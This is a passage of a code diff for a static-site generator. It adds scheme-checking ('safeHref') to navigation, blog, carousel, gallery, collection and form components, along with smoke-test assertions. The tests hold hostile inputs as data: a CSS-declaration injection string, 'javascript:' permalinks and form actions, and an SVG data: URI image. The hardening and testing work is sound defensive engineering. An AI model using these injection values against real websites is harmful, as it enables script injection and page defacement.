+  // the ENTIRE value, `)`/`;` included, must stay inside the one quoted CSS string: the style
+  // attribute's value must be EXACTLY `background-image:url("…")`, nothing after the closing
+  // quote/paren, so no second declaration can have opened.
+  ['🔴 scheme-check: hero bg= cannot inject a CSS declaration via `)`/`;` in an otherwise-safe URL', () => {
+    const m = /<section class="st-hero st-full-bleed" id="s\d+-css-injection-guard"[^>]*\sstyle="([^"]*)"/.exec(schemeCheck);
+    return !!m && m[1] === 'background-image:url(&quot;/safe-bg.jpg);position:fixed;inset:0;background:red&quot;)';
+  }],
+  // round 5 (R4-P3-1): share-image:/og-image: reaching og:image/twitter:image with no gate.
+  ['🔴 scheme-check: share-image with a disallowed scheme emits no og:image/twitter:image meta at all', () =>
+    !/<meta property="og:image"/.test(schemeCheck) && !/<meta name="twitter:image"/.test(schemeCheck)
+    && /<meta name="twitter:card" content="summary">/.test(schemeCheck)],
+  // round 5 (R4-P3-2): a blog card's featured image is gated at parsePost's own declaration —
+  // covered below by the dedicated blog/svg-image-post.md fixture, not here (this page carries no
+  // blog corpus of its own).
+  // round 5 (R4-P1-1 "6 of 14" / R4-P3-5): the coral types scheme-check.md did not yet cover —
+  // cta/social/timeline/faq/prose/embed, closing 8/14 → 14/14.
+  ['scheme-check: cta — the hostile primary button (button=) drops to plain text, the safe secondary (a body link paragraph) stays a live <a> (control)', () =>
+    /<span class="st-cta-btn st-cta-btn-primary">Hostile CTA<\/span>/.test(schemeCheck)
+    && /<a class="st-cta-btn st-cta-btn-secondary" href="\/safe-cta"[^>]*>Safe CTA/.test(schemeCheck)],
+  ['scheme-check: social — the hostile link (first, primary) drops, the safe sibling (second, secondary) stays live (control)', () =>
+    /<span class="st-social-btn st-social-btn-primary">Bad social<\/span>/.test(schemeCheck)
+    && /<a class="st-social-btn st-social-btn-secondary" href="\/safe-social"[^>]*>Safe social/.test(schemeCheck)],
+  ['scheme-check: timeline renders with no gated destination of its own (structural coral — no href/src in its own template)', () =>
+    /<p class="st-tl-year"[^>]*>2026<\/p>/.test(schemeCheck)],
+  ['scheme-check: faq renders (structural coral — no href/src in its own template)', () =>
+    /<summary class="st-faq-q"/.test(schemeCheck)],
+  ['scheme-check: prose — a trailing hostile link-only paragraph drops to plain text, the safe sibling in the SAME paragraph stays a live CTA button (control)', () =>
+    /<span class="st-prose-btn st-prose-btn-primary">Bad prose link<\/span>/.test(schemeCheck)
+    && /<a class="st-prose-btn st-prose-btn-secondary" href="\/safe-prose"[^>]*>Safe prose/.test(schemeCheck)],
+  ['scheme-check: embed — the accepted, documented residual (raw HTML passthrough is embed\'s own doctrine, not a gap this fix closes)', () =>
+    /class="st-embed"/.test(schemeCheck) && /Embed passthrough control\./.test(schemeCheck)],
+  // round 5 (R4-P2-1): the widened scan run over EVERY page the primary build produced, plus
+  // rss.xml/sitemap.xml/search-index.json/reef-posts.json — not just scheme-check.md. This is the
+  // assertion that would have caught R4-P1-1 (the blog family was never on scheme-check.md and
+  // never will be — it needs real posts, which is what the hostile-blog-site build below is for;
+  // this one instead proves the WIDENED SCAN ITSELF doesn't introduce a false positive against the
+  // primary build's own ~30 pages of otherwise-legitimate content).
+  ['🔴 site-wide (primary build): disallowedSchemeHits() finds zero hits across every built page + rss.xml + sitemap.xml + search-index.json + reef-posts.json', () => siteWideHits.length === 0],
+  // -- round 5 (R4-P1-1): the isolated hostile-blog-site build — permalink/blog-url-pattern/
+  // blog-path/blog-category-base/blog-tag-base, the SITE-LEVEL fields a single-page fixture
+  // cannot exercise (see buildHostileBlogFixture's own header for why this needed a second build).
+  ['🔴 hostile-blog-site: zero disallowedSchemeHits across every page + rss.xml + sitemap.xml + search-index.json + reef-posts.json', () => hostileSiteWideHits.length === 0],
+  ['hostile-blog-site: the blog index is reachable at the SAFE configured blog-path (/diary), not reset by the hostile blog-url-pattern', () =>
+    existsSync(join(HDIST, 'diary', 'index.html'))],
+  ['🔴 hostile-blog-site: a post whose OWN permalink is javascript:void(0) gets a real internal URL, not the raw scheme (R4-P1-1 concrete input #1)', () =>
+    /<a class="bl-entry-link" href="\/diary\/hostile-permalink-post">/.test(hostileIndex)
+    && !hostileIndex.includes('javascript:')],
+  ['🔴 hostile-blog-site: a SIBLING post with NO permalink override of its own is ALSO poisoned by the site-wide blog-url-pattern, and ALSO degrades safely (R4-P1-1\'s "poisons every post" claim, reproduced and closed)', () =>
+    /<a class="bl-entry-link" href="\/diary\/safe-post">/.test(hostileIndex)],
+  ['🔴 hostile-blog-site: the poisoned post\'s own page — prev/next nav, breadcrumb/back-link — carries no javascript: scheme anywhere', () =>
+    !hostilePermalinkPost.includes('javascript:') && /href="\/diary\/safe-post"/.test(hostilePermalinkPost)],
+  ['🔴 hostile-blog-site: the sibling post\'s own page is equally clean', () =>
+    !hostileSafePost.includes('javascript:') && /href="\/diary\/hostile-permalink-post"/.test(hostileSafePost)],
+  ['🔴 hostile-blog-site: rss.xml carries no javascript: scheme in any <link> (R4-P1-1\'s exact `https://example.comjavascript:void(0)` failure, reproduced and closed)', () =>
+    !hostileRss.includes('javascript:')],
+  ['🔴 hostile-blog-site: sitemap.xml carries no javascript: scheme in any <loc>', () =>
+    !hostileSitemap.includes('javascript:')],
+  ['🔴 hostile-blog-site: the tag archive/chip built from a disallowed blog-tag-base resolves to the historic /tag default, not the raw scheme ("term-archive URLs")', () =>
+    /href="\/tag\/news\/"/.test(hostileIndex) && !/href="javascript/.test(hostileIndex)],
+  ['hostile-blog-site: the category archive route itself still exists at its own fixed /category/<slug>/ location (the physical route, unaffected by blog-category-base — only LINKS to it read that field)', () =>
+    existsSync(join(HDIST, 'category', 'team', 'index.html')) && /Team|team/.test(hostileCategoryArchive)],
+  ['hostile-blog-site: search-index.json (blog-search: true here) carries a safe `u` for every row', () => {
+    const rows = JSON.parse(readFileSync(join(HDIST, 'search-index.json'), 'utf8'));
+    return rows.length === 3 && rows.every((r) => typeof r.u === 'string' && !r.u.includes('javascript:'));
+  }],
+  // round 5 (R4-P3-2): the SVG-featured-image post's card must render with NO <img> at all (the
+  // gate at parsePost's own declaration means the ENTRY still shows — only the image drops).
+  ['🔴 hostile-blog-site: a post whose first body image is an SVG data: URI drops the card image entirely, everywhere the card renders (the entry itself still shows)', () =>
+    /<a class="bl-entry-link" href="\/diary\/svg-image-post">/.test(hostileIndex)
+    && !/data:image\/svg\+xml/.test(hostileIndex)
+    && !/<img class="bl-entry-img"/.test(hostileIndex)],
+  // 🔴 THE CONTROL ARM (R3-P2-2's identity-swap experiment, per the review): this suite cannot
+  // prove it is a check rather than a tautology from its own green run alone — round 3 measured
+  // the opposite failure (13 files' worth of gates reverted to the identity function and the
+  // smoke still said PASS). Run once by hand, not wired into this file (a permanently-committed
+  // "make the app unsafe" switch has no place in a security fix): replace `site-core.js`'s
+  // `safeHref`/`safeSrc` bodies with `(x) => x` in a scratch copy, rebuild, run this smoke against
+  // it, and confirm every scheme-check assertion above goes red. Recorded in REPORT-linkdest.md
+  // (第四輪) with the exact commands and the red output, exactly as round 3 recorded its own.
 ];
 
 let fail = 0;
diff --git a/packages/sitetile/astro/src/components/BlogIndexView.astro b/packages/sitetile/astro/src/components/BlogIndexView.astro
index 8b81c70..20733bd 100644
--- a/packages/sitetile/astro/src/components/BlogIndexView.astro
+++ b/packages/sitetile/astro/src/components/BlogIndexView.astro
@@ -9,6 +9,7 @@ import { DEFAULT_LANG } from '../packages/lingo/locale.mjs';
 import SiteLayout from '../layouts/SiteLayout.astro';
 import Section from './Section.astro';
 import { fmtDate, dateBadgeParts, buildIndexView, postUrl, indexUrl, blogBase, homeSections, blogSearchOn, tagHref, tagFontSize, routedCategories, sidebarCopy} from '../lib/blog.mjs';
+import { safeHref } from '@sitetile';
 import Arrow from '@cvernet/signet/Arrow.astro';
 import '@cvernet/signet/arrow.css';   // tail-retract hover morph CSS for the pager Prev/Next Arrows
 
@@ -134,11 +135,18 @@ const title = isHome
         {categories.length > 0 && (
           <div class="bl-side-widget bl-side-categories">
             {meta['blog-category-title'] && <h3>{meta['blog-category-title']}</h3>}
-            <ul>{categories.map((c) => (
-              <li>{c.href
-                ? <a href={c.href}>{c.label}{c.count && `（${c.count}）`}</a>
-                : <span class="bl-cat-nolink">{c.label}{c.count && `（${c.count}）`}</span>}</li>
-            ))}</ul>
+            <ul>{categories.map((c) => {
+              // round 3 (Astro consumers, R2-P3-5): `c.href` is `blog-categories:` authored
+              // frontmatter (label|count|href), reaching a live <a href> with no scheme check.
+              // round 4 (R3-P3-2): hoisted to a const — was two calls per item, each a separate
+              // drop-warning queue entry for the same rejected destination.
+              const hrefOk = safeHref(c.href);
+              return (
+                <li>{hrefOk
+                  ? <a href={hrefOk}>{c.label}{c.count && `（${c.count}）`}</a>
+                  : <span class="bl-cat-nolink">{c.label}{c.count && `（${c.count}）`}</span>}</li>
+              );
+            })}</ul>
           </div>
         )}
         {/* 🩸 fixed 2026-07-13: was a decorative shell (no name/action — submit did nothing).
diff --git a/packages/sitetile/astro/src/components/NavNode.astro b/packages/sitetile/astro/src/components/NavNode.astro
index e304c10..fab07b2 100644
--- a/packages/sitetile/astro/src/components/NavNode.astro
+++ b/packages/sitetile/astro/src/components/NavNode.astro
@@ -3,14 +3,24 @@
 // submenu whose children are rendered by the SAME component (Astro.self) — so the menu goes to
 // ARBITRARY depth. depth 0 = top bar (`.rf-nav-link`); deeper leaves add `.rf-nav-sublink`;
 // any node with children is a `.rf-nav-group` (2nd+ level also `.rf-nav-subgroup`, opens to the side).
+import { safeHref } from '@sitetile';
 const { item, depth = 0 } = Astro.props;
 const ext = (h) => /^https?:\/\//i.test(h || '') ? { target: '_blank', rel: 'noopener' } : {};
 const kids = item && item.children && item.children.length ? item.children : null;
 const topLeaf = depth === 0;
+// round 3 (Astro consumers, R2-P3-5): `item.href` is an author-set nav destination (site
+// frontmatter `nav:`), reaching a live `<a href>` with no scheme check of its own. `safeHref`
+// shares the same policy site-core.js's own emitters use; a disallowed destination degrades to
+// plain text (the label, no anchor) rather than going live.
+const hrefOk = safeHref(item.href);
 ---
 {kids
   ? <span class={depth === 0 ? 'rf-nav-group' : 'rf-nav-group rf-nav-subgroup'}>
-      <a class={'rf-nav-link rf-nav-parent' + (topLeaf ? '' : ' rf-nav-sublink')} href={item.href} {...ext(item.href)}>{item.label}</a>
+      {hrefOk
+        ? <a class={'rf-nav-link rf-nav-parent' + (topLeaf ? '' : ' rf-nav-sublink')} href={hrefOk} {...ext(hrefOk)}>{item.label}</a>
+        : <span class={'rf-nav-link rf-nav-parent' + (topLeaf ? '' : ' rf-nav-sublink')}>{item.label}</span>}
       <span class="rf-nav-sub">{kids.map((c) => <Astro.self item={c} depth={depth + 1} />)}</span>
     </span>
-  : <a class={topLeaf ? 'rf-nav-link' : 'rf-nav-link rf-nav-sublink'} href={item.href} {...ext(item.href)}>{item.label}</a>}
+  : hrefOk
+    ? <a class={topLeaf ? 'rf-nav-link' : 'rf-nav-link rf-nav-sublink'} href={hrefOk} {...ext(hrefOk)}>{item.label}</a>
+    : <span class={topLeaf ? 'rf-nav-link' : 'rf-nav-link rf-nav-sublink'}>{item.label}</span>}
diff --git a/packages/sitetile/astro/src/components/PostArticle.astro b/packages/sitetile/astro/src/components/PostArticle.astro
index b5c8c46..00b2920 100644
--- a/packages/sitetile/astro/src/components/PostArticle.astro
+++ b/packages/sitetile/astro/src/components/PostArticle.astro
@@ -9,6 +9,7 @@
 import Arrow from '@cvernet/signet/Arrow.astro';
 import '@cvernet/signet/arrow.css';   // tail-retract hover morph CSS for the back-link / comments / post-nav Arrows
 import { flowingHtml, fmtDate, postUrl, blogBase } from '../lib/blog.mjs';
+import { safeHref } from '@sitetile';
 
 const { post, meta, newer, older, keepReadingCards, relatedCards } = Astro.props;
 // blog-date-format (home meta): cjk-badge falls back to cjk-full's full string here —
@@ -68,7 +69,9 @@ const relatedLabel = String(meta['blog-related-label'] || 'Related posts').trim(
 // comments (`blog-comments-url`): live comment threads are dynamic (Blogger/Disqus backend) — a
 // reasonable static degradation here is an opt-in "留言" heading linking out to the real thread,
 // NOT a fake inline widget. Absent → nothing (no comments UI is invented).
-const commentsUrl = String(meta['blog-comments-url'] || '').trim();
+// round 3 (Astro consumers, R2-P3-5): `blog-comments-url` is a raw frontmatter destination;
+// safeHref shares the same policy every other emitter uses (gated once here, at the source).
+const commentsUrl = safeHref(String(meta['blog-comments-url'] || '').trim());
 const commentsLabel = String(meta['blog-comments-label'] || 'Comments').trim();
 
 // breadcrumb (opt-in `blog-breadcrumb: true`): a WP single-post trail "Home » Category » <title>"
diff --git a/packages/sitetile/astro/src/components/PostView.astro b/packages/sitetile/astro/src/components/PostView.astro
index dcbb452..17f10e8 100644
--- a/packages/sitetile/astro/src/components/PostView.astro
+++ b/packages/sitetile/astro/src/components/PostView.astro
@@ -11,6 +11,7 @@ import { DEFAULT_LANG } from '../packages/lingo/locale.mjs';
 import SiteLayout from '../layouts/SiteLayout.astro';
 import PostArticle from './PostArticle.astro';
 import { blogBase, blogSearchOn, tagHref, tagFontSize, sidebarCopy} from '../lib/blog.mjs';
+import { safeHref } from '@sitetile';
 
 const { post, meta, newer, older, keepReadingCards, relatedCards, sidebar = null } = Astro.props;
 // Sidebar chrome copy — locale defaults + this site's overrides, resolved in ONE place.
@@ -22,8 +23,14 @@ const sideCopy = sidebarCopy(meta);
 // it REPLACES the default hardcoded belt below (a site supplies its own card instead).
 const ctaRaw = String(meta['blog-post-cta'] || '').trim();
 const ctaEq = ctaRaw.indexOf('=');
-const postCta = ctaRaw && ctaEq > 0
+// round 3 (Astro consumers, R2-P3-5): `blog-post-cta` is a raw frontmatter destination; safeHref
+// shares the same policy every other emitter uses — an unsafe href drops the whole custom CTA
+// (postCta becomes null) rather than falling through to the vendor default with a live bad href.
+const postCtaRaw = ctaRaw && ctaEq > 0
   ? { label: ctaRaw.slice(0, ctaEq).trim(), href: ctaRaw.slice(ctaEq + 1).trim() } : null;
+// round 4 (R3-P3-2): hoisted to a const — was two calls for the same destination.
+const postCtaHrefOk = postCtaRaw ? safeHref(postCtaRaw.href) : null;
+const postCta = postCtaHrefOk ? { label: postCtaRaw.label, href: postCtaHrefOk } : null;
 
 // the hardcoded "Notes from the workshop" belt below is the VENDOR's OWN copy (voice + /donate route),
 // not a generic default — it used to render on every site's posts unless they opted into a custom
@@ -67,11 +74,17 @@ const headMeta = {
         {sidebar.categories.length > 0 && (
           <div class="bl-side-widget bl-side-categories">
             {meta['blog-category-title'] && <h3>{meta['blog-category-title']}</h3>}
-            <ul>{sidebar.categories.map((c) => (
-              <li>{c.href
-                ? <a href={c.href}>{c.label}{c.count && `（${c.count}）`}</a>
-                : <span class="bl-cat-nolink">{c.label}{c.count && `（${c.count}）`}</span>}</li>
-            ))}</ul>
+            <ul>{sidebar.categories.map((c) => {
+              // round 3 (Astro consumers, R2-P3-5): `c.href` is `blog-categories:` authored
+              // frontmatter (label|count|href), reaching a live <a href> with no scheme check.
+              // round 4 (R3-P3-2): hoisted to a const — see BlogIndexView.astro's identical fix.
+              const hrefOk = safeHref(c.href);
+              return (
+                <li>{hrefOk
+                  ? <a href={hrefOk}>{c.label}{c.count && `（${c.count}）`}</a>
+                  : <span class="bl-cat-nolink">{c.label}{c.count && `（${c.count}）`}</span>}</li>
+              );
+            })}</ul>
           </div>
         )}
         {/* 🩸 fixed 2026-07-13: same real `GET /search?q=` form as the index sidebar (was a
diff --git a/packages/sitetile/astro/src/components/sections/Carousel.astro b/packages/sitetile/astro/src/components/sections/Carousel.astro
index 04a95ce..149cb96 100644
--- a/packages/sitetile/astro/src/components/sections/Carousel.astro
+++ b/packages/sitetile/astro/src/components/sections/Carousel.astro
@@ -4,7 +4,7 @@
 // `cols=`). For casts/archives too long for a static grid (the slick-carousel shape). Mirrors the
 // reference renderSection 'carousel' case so the editor live-preview matches the Astro build.
 // The hoisted <script> below is emitted ONCE by Astro (deduped) and wires every `.st-carousel`.
-import { parseParams, inlineHtml, bodyHtml, firstImage, imgTag } from '@sitetile';
+import { parseParams, inlineHtml, bodyHtml, firstImage, imgTag, safeHref } from '@sitetile';
 import { postUrl } from '../../lib/blog.mjs';
 const { section, blogPosts = [], meta = {} } = Astro.props;
 const pm = parseParams(section.params);
@@ -35,6 +35,10 @@ const moreRaw = pm.more ? (typeof pm.more === 'object' ? pm.more.label : pm.more
 const more = moreRaw && moreRaw.includes('=')
   ? { label: moreRaw.split('=')[0].trim(), href: moreRaw.split('=').slice(1).join('=').trim() }
   : null;
+// round 3 (Astro consumers, R2-P3-5): `more.href`/`c.href` are author-set (a `more="LABEL=/href"`
+// param, `### Title →href` cells) — site-core.js's own `carousel` case gates both on
+// `isSafeHref`; `safeHref` shares that ONE policy here.
+const moreHrefOk = more ? safeHref(more.href) : null;
 // `start=N` — OPT-IN initial resting card index (0-based). General param, mirrors `cols=`: any
 // carousel whose source (e.g. a JS slick-carousel on the original site) settles on a non-zero
 // slide by default can be matched by setting the recast's initial scroll position to N cards in.
@@ -61,7 +65,9 @@ function arrowSvg(left = false) {
     <div class="st-car-head">
       {eyebrow && <p class="st-carousel-eyebrow" set:html={inlineHtml(eyebrow)} />}
       {section.title && <h2 set:html={inlineHtml(section.title)} />}
-      {more && <a class="st-car-more" href={more.href} set:html={inlineHtml(more.label)} />}
+      {more && (moreHrefOk
+        ? <a class="st-car-more" href={moreHrefOk} set:html={inlineHtml(more.label)} />
+        : <span class="st-car-more" set:html={inlineHtml(more.label)} />)}
     </div>
   )}
   {section.body && <Fragment set:html={bodyHtml(section.body)} />}
@@ -85,8 +91,9 @@ function arrowSvg(left = false) {
           </Fragment>
         );
         const cellClass = 'st-car-cell st-gal-cell' + (isBlogFull ? ' st-car-cell-blogfull' : '');
-        return c.href
-          ? <a class={`${cellClass} st-cell-link group`} href={c.href}>{inner}</a>
+        const hrefOk = c.href ? safeHref(c.href) : null;
+        return hrefOk
+          ? <a class={`${cellClass} st-cell-link group`} href={hrefOk}>{inner}</a>
           : <div class={cellClass}>{inner}</div>;
       })}
     </div>
diff --git a/packages/sitetile/astro/src/components/sections/Collection.astro b/packages/sitetile/astro/src/components/sections/Collection.astro
index 458260b..169f622 100644
--- a/packages/sitetile/astro/src/components/sections/Collection.astro
+++ b/packages/sitetile/astro/src/components/sections/Collection.astro
@@ -6,7 +6,7 @@ import { DEFAULT_LANG } from '../../packages/lingo/locale.mjs';
 // then `### Category` groups each holding `#### name →href "badge"` item cards.
 // Layout: a HEAD (title + intro + link) on the page field, then a full-bleed BELT
 // (eyebrow + jump-pills + grouped cards) — mirrors a dark projects belt.
-import { parseParams, inlineHtml, bodyHtml, slugify } from '@sitetile';
+import { parseParams, inlineHtml, bodyHtml, slugify, safeHref } from '@sitetile';
 import Arrow from '@cvernet/signet/Arrow.astro';   // tail-retract hover morph — every live
 // /oss "View on GitHub"/"Learn more" link + the head's link=/GitHub button carries this; a bare "→"
 // text glyph (what this used to render) has no `.signet-arrow__tail` to retract, so hover was inert.
@@ -35,6 +35,11 @@ const isExternal = (h) => /^https?:\/\//.test(h || '');
 // (design 2026-07-13). Internal links (learn pages, anchors) stay in the same tab.
 const tgt = (h) => isExternal(h) ? { target: '_blank', rel: 'noopener' } : {};
 const badges = (b) => String(b || '').split('·').map((s) => s.trim()).filter(Boolean);
+// round 3 (Astro consumers, R2-P3-5 / R2-P1-1): `link.href` (head link), `it.href`/`it.learn`
+// (per-item GitHub/learn destinations) are all author Markdown; site-core.js's own `collection`
+// case gates every one of them on `isSafeHref` (and, per R2-P1-1, gates `it.href` on ITSELF, not
+// on `it.learn`). `safeHref` shares that ONE policy here.
+const linkHrefOk = link ? safeHref(link.href) : null;
 ---
 <section class="st-collection" id={section.id}>
   <div class="st-collection-head">
@@ -46,15 +51,17 @@ const badges = (b) => String(b || '').split('·').map((s) => s.trim()).filter(Bo
     <div class="st-collection-head-inner">
       {section.title && <Title set:html={inlineHtml(section.title)} />}
       {section.body && <Fragment set:html={bodyHtml(section.body)} />}
-      {link && (
-        <a class={`st-collection-link${isGh(link.href) ? ' st-collection-link-gh' : ''}`} href={link.href} {...tgt(link.href)}>
-          {isGh(link.href) && (
+      {link && (linkHrefOk ? (
+        <a class={`st-collection-link${isGh(linkHrefOk) ? ' st-collection-link-gh' : ''}`} href={linkHrefOk} {...tgt(linkHrefOk)}>
+          {isGh(linkHrefOk) && (
             <svg class="st-gh-icon" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M9 19c-5 1.5-5-2.5-7-3m14 6v-3.87a3.37 3.37 0 0 0-.94-2.61c3.14-.35 6.44-1.54 6.44-7A5.44 5.44 0 0 0 20 4.77 5.07 5.07 0 0 0 19.91 1S18.73.65 16 2.48a13.38 13.38 0 0 0-7 0C6.27.65 5.09 1 5.09 1A5.07 5.07 0 0 0 5 4.77a5.44 5.44 0 0 0-1.5 3.78c0 5.42 3.3 6.61 6.44 7A3.37 3.37 0 0 0 9 18.13V22"/></svg>
           )}
           <span>{link.label}</span>
-          <Arrow direction={isExternal(link.href) ? 'up-right' : 'right'} size={16} />
+          <Arrow direction={isExternal(linkHrefOk) ? 'up-right' : 'right'} size={16} />
         </a>
-      )}
+      ) : (
+        <span class="st-collection-link"><span>{link.label}</span></span>
+      ))}
     </div>
   </div>
   <div class="st-collection-belt">
@@ -80,9 +87,15 @@ const badges = (b) => String(b || '').split('·').map((s) => s.trim()).filter(Bo
               // any higher than a stray pixel). Primary destination mirrors the real source:
               // learn page if present, else the GitHub URL itself.
               const primaryHref = it.learn || it.href;
+              const primaryHrefOk = primaryHref ? safeHref(primaryHref) : null;
+              // 🩸 round 2, P1-1 / round 3 R2-P1-1: `it.href`'s anchor must gate on ITSELF, not on
+              // `it.learn` — gating it on the OTHER field's safety let a bad it.href go live
+              // whenever it.learn happened to be safe.
+              const ghOk = it.href ? safeHref(it.href) : null;
+              const learnOk = it.learn ? safeHref(it.learn) : null;
               return (
               <div class="st-cell st-item">
-                {primaryHref && <a class="st-item-cover" href={primaryHref} {...tgt(primaryHref)} aria-label={it.title} />}
+                {primaryHrefOk && <a class="st-item-cover" href={primaryHrefOk} {...tgt(primaryHrefOk)} aria-label={it.title} />}
                 <div class="st-item-head">
                   <CardTitle set:html={inlineHtml(it.title)} />
                   {it.badge && <span class="st-item-badges">{badges(it.badge).map((x) => <span class="st-item-badge">{x}</span>)}</span>}
@@ -105,11 +118,11 @@ const badges = (b) => String(b || '').split('·').map((s) => s.trim()).filter(Bo
                           extra anchor-tagged text occurrences recastfid doesn't see on live, which threw
                           off its repeated-text pairing for every card after them. */}
                       {it.updated && it.href && it.learn && <span class="st-item-sep" aria-hidden="true">|</span>}
-                      {it.href && (it.learn
-                        ? <a class="st-item-gh" href={it.href} {...tgt(it.href)}><svg class="st-item-gh-icon" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M9 19c-5 1.5-5-2.5-7-3m14 6v-3.87a3.37 3.37 0 0 0-.94-2.61c3.14-.35 6.44-1.54 6.44-7A5.44 5.44 0 0 0 20 4.77 5.07 5.07 0 0 0 19.91 1S18.73.65 16 2.48a13.38 13.38 0 0 0-7 0C6.27.65 5.09 1 5.09 1A5.07 5.07 0 0 0 5 4.77a5.44 5.44 0 0 0-1.5 3.78c0 5.42 3.3 6.61 6.44 7A3.37 3.37 0 0 0 9 18.13V22"/></svg>{UI.gh} <Arrow direction="up-right" size={12} /></a>
+                      {it.href && ((ghOk && learnOk)
+                        ? <a class="st-item-gh" href={ghOk} {...tgt(ghOk)}><svg class="st-item-gh-icon" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M9 19c-5 1.5-5-2.5-7-3m14 6v-3.87a3.37 3.37 0 0 0-.94-2.61c3.14-.35 6.44-1.54 6.44-7A5.44 5.44 0 0 0 20 4.77 5.07 5.07 0 0 0 19.91 1S18.73.65 16 2.48a13.38 13.38 0 0 0-7 0C6.27.65 5.09 1 5.09 1A5.07 5.07 0 0 0 5 4.77a5.44 5.44 0 0 0-1.5 3.78c0 5.42 3.3 6.61 6.44 7A3.37 3.37 0 0 0 9 18.13V22"/></svg>{UI.gh} <Arrow direction="up-right" size={12} /></a>
                         : <span class="st-item-gh"><svg class="st-item-gh-icon" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M9 19c-5 1.5-5-2.5-7-3m14 6v-3.87a3.37 3.37 0 0 0-.94-2.61c3.14-.35 6.44-1.54 6.44-7A5.44 5.44 0 0 0 20 4.77 5.07 5.07 0 0 0 19.91 1S18.73.65 16 2.48a13.38 13.38 0 0 0-7 0C6.27.65 5.09 1 5.09 1A5.07 5.07 0 0 0 5 4.77a5.44 5.44 0 0 0-1.5 3.78c0 5.42 3.3 6.61 6.44 7A3.37 3.37 0 0 0 9 18.13V22"/></svg>{UI.gh} <Arrow direction="up-right" size={12} /></span>)}
                     </div>
-                    {it.learn && <a class="st-item-learn" href={it.learn}>{UI.learn} <Arrow direction="right" size={12} /></a>}
+                    {learnOk && <a class="st-item-learn" href={learnOk}>{UI.learn} <Arrow direction="right" size={12} /></a>}
                   </div>
                 )}
               </div>
diff --git a/packages/sitetile/astro/src/components/sections/Form.astro b/packages/sitetile/astro/src/components/sections/Form.astro
index eaa91b4..7706ee4 100644
--- a/packages/sitetile/astro/src/components/sections/Form.astro
+++ b/packages/sitetile/astro/src/components/sections/Form.astro
@@ -12,7 +12,7 @@
 // zero-JS, GAIDO-editable (fields live in the Markdown). A near-universal contact widget no other
 // coral expresses — grown when a real /contact page hit the wall (recast doctrine: hit a wall,
 // grow a GENERAL coral).
-import { parseParams, inlineHtml, bodyHtml } from '@sitetile';
+import { parseParams, inlineHtml, bodyHtml, safeHref } from '@sitetile';
 import { inboxFormCopy, DEFAULT_LANG } from '../../packages/lingo/locale.mjs';
 const { section, hero, lang } = Astro.props;
 const Title = hero && section.title ? 'h1' : 'h2';   // first section on the page → its title is the <h1>
@@ -62,7 +62,12 @@ const idOf = (i) => 'st-form-f' + (i + 1);
 const action = pm.action || undefined;
 const isInbox = action === 'inbox';
 const method = isInbox ? 'post' : (pm.method || 'post').toLowerCase();
-const formAction = isInbox ? '/__reef/inbox' : action;
+// round 4 (R3-P2-1): `action=` is a raw author-controlled destination reaching a live
+// `<form action>` — gate it here, at the value's one declaration point, the same shape every
+// other Astro consumer of safeHref/safeSrc already uses. A disallowed scheme (e.g.
+// `action="javascript:…"`) degrades to `undefined`, which is `wired`'s existing "no backend"
+// path below — the same disabled-submit degradation an absent `action=` already gets.
+const formAction = isInbox ? '/__reef/inbox' : (safeHref(action) || undefined);
 
 // The forwarder's reserved field names — an owner field must never land on the wire
 // under one of these, or it would be read as routing data instead of message content.
@@ -86,7 +91,10 @@ const returnTo = Astro.url.pathname;
 // URL — which on a static host is a 405 the visitor cannot see: they type, they
 // press, the words vanish, and nothing says so. The header above already claimed
 // "never claims a backend it lacks"; a pressable button was claiming one.
-const wired = Boolean(action);
+// round 4: gated on `formAction`, not the raw `action` — a hostile action must disable the
+// button, not merely swap what it posts to (formAction already degrades to undefined for both
+// "no action=" and "unsafe action=", so this line does not need to know which).
+const wired = Boolean(formAction);
 
 // ── required fields (2026-09-03, cold-read findings #9/#10) ────────────────────────────────────
 // Before this, EVERY field rendered `required=false` — blank was indistinguishable from filled,
diff --git a/packages/sitetile/astro/src/components/sections/Gallery.astro b/packages/sitetile/astro/src/components/sections/Gallery.astro
index f142c13..a4d8583 100644
--- a/packages/sitetile/astro/src/components/sections/Gallery.astro
+++ b/packages/sitetile/astro/src/components/sections/Gallery.astro
@@ -3,7 +3,7 @@
 // renderSection 'gallery' case so the editor live-preview matches the Astro build byte-for-byte.
 // Each cell's leading body image floats to a top <figure>; title + caption below. A cell with an
 // href is a whole-card link. General; theme paints `.st-gallery` / `.st-gal-cell` / `.st-gal-fig`.
-import { parseParams, inlineHtml, bodyHtml, firstImage, imgTag } from '@sitetile';
+import { parseParams, inlineHtml, bodyHtml, firstImage, imgTag, safeHref } from '@sitetile';
 const { section } = Astro.props;
 const pm = parseParams(section.params);
 // `eyebrow="…"` — the small label above the heading, the same seam Hero/Prose/Collection
@@ -41,8 +41,11 @@ const align = pm.align || undefined;
           {cta}
         </Fragment>
       );
-      return c.href
-        ? <a class="st-gal-cell st-cell-link group" href={c.href}>{inner}</a>
+      // round 3 (Astro consumers, R2-P3-5): `c.href` is author Markdown, gated by site-core.js's
+      // own `gallery` case via `isSafeHref`; `safeHref` shares that ONE policy here.
+      const hrefOk = c.href ? safeHref(c.href) : null;
+      return hrefOk
+        ? <a class="st-gal-cell st-cell-link group" href={hrefOk}>{inner}</a>
         : <div class="st-gal-cell">{inner}</div>;
     })}
   </div>
diff --git a/packages/sitetile/astro/src/components/sections/Grid.astro b/packages/sitetile/astro/src/components/sections/Grid.astro
index fb99c56..4343054 100644
--- a/packages/sitetile/astro/src/components/sections/Grid.astro
+++ b/packages/sitetile/astro/src/components/sections/Grid.astro
@@ -1,5 +1,5 @@
 ---
-import { parseParams, inlineHtml, bodyHtml } from '@sitetile';
+import { parseParams, inlineHtml, bodyHtml, safeHref } from '@sitetile';
 import GridCell from './GridCell.astro';
 const { section, hero } = Astro.props;
 // The page's FIRST section carries its primary heading as <h1> — the same seam Prose/Faq/
@@ -43,6 +43,9 @@ const moreRaw = pm.more ? (typeof pm.more === 'object' ? pm.more.label : pm.more
 const more = moreRaw && moreRaw.includes('=')
